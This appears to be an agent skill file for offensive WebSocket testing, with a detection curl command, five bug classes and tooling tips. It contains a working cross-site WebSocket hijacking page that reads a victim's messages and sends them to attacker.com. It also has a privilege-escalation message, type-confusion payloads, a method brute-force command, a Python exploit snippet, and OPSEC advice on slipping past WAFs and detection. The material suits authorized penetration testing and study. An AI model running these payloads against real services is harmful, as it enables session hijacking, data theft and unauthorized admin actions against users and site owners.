- name
- api-websocket
- description
- WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.
- allowed-tools
- Bash Read Write
- metadata
- {"when_to_use":"websocket ws wss cswsh cross-site websocket hijacking origin socket.io stomp graphql-ws sse upgrade","subdomain":"api","tags":"websocket, cswsh, origin-validation","mitre_attack":"T1190, T1185"}
# WebSocket Attack Surface
## Detect
Look for `Upgrade: websocket` in any handshake. Common paths: `/ws`, `/socket.io`, `/graphql-ws`, `/cable` (Rails ActionCable), `/hub` (SignalR).
```bash
# Quick handshake test
curl -sk -i \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://target" \
https://target/ws
# 101 = upgraded
```
## Top 5 bug classes
### 1. Cross-Site WebSocket Hijacking (CSWSH)
Server doesn't validate `Origin`. Attacker site can open a WS from the victim's browser with the victim's cookies:
```html
<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>
```
Test by sending the same request you saw in DevTools but with `Origin: https://attacker.com`. If server accepts → CSWSH.
### 2. Missing per-message authorization
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:
```bash
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"} # ⚠ admin op succeeds
```
### 3. Message-type confusion
Server dispatches by JSON `type` field. Send a message with two types or a type the server doesn't expect:
```json
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}} // Unicode-normalize bypass
```
### 4. WS → wss downgrade
If the app uses `ws://` over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.
### 5. Hidden RPC routes
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:
```bash
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.
```
## Tooling
```bash
# wscat — interactive
npm install -g wscat
# websocat — netcat for WS
websocat wss://target/ws
# Burp Suite — full WS interception (Proxy → WebSockets History)
# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'
```
## Protocol-specific tips
### Socket.IO
Multiple "engine" levels: long-polling fallback, sticky sessions. Hit `/socket.io/?EIO=4&transport=polling` first.
### STOMP over WebSocket
`CONNECT` → `SEND` → `SUBSCRIBE` text frames. `SUBSCRIBE /topic/admin` often missing authz.
### GraphQL-WS / graphql-transport-ws
`connection_init` payload often carries auth. Server may accept reconnections without re-authing — replay attack.
### SignalR
Negotiate URL `/hub/negotiate`. Token in negotiate is reusable for the WS upgrade.
## OPSEC
- WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench/error rate.
- WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.
- Browser DevTools "Frames" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.
## References
- PortSwigger Academy "WebSocket attacks" track
- OWASP WebSocket testing guide
- "Cross-Site WebSocket Hijacking" — Christian Schneider (original 2013 writeup)
عرض على GitHub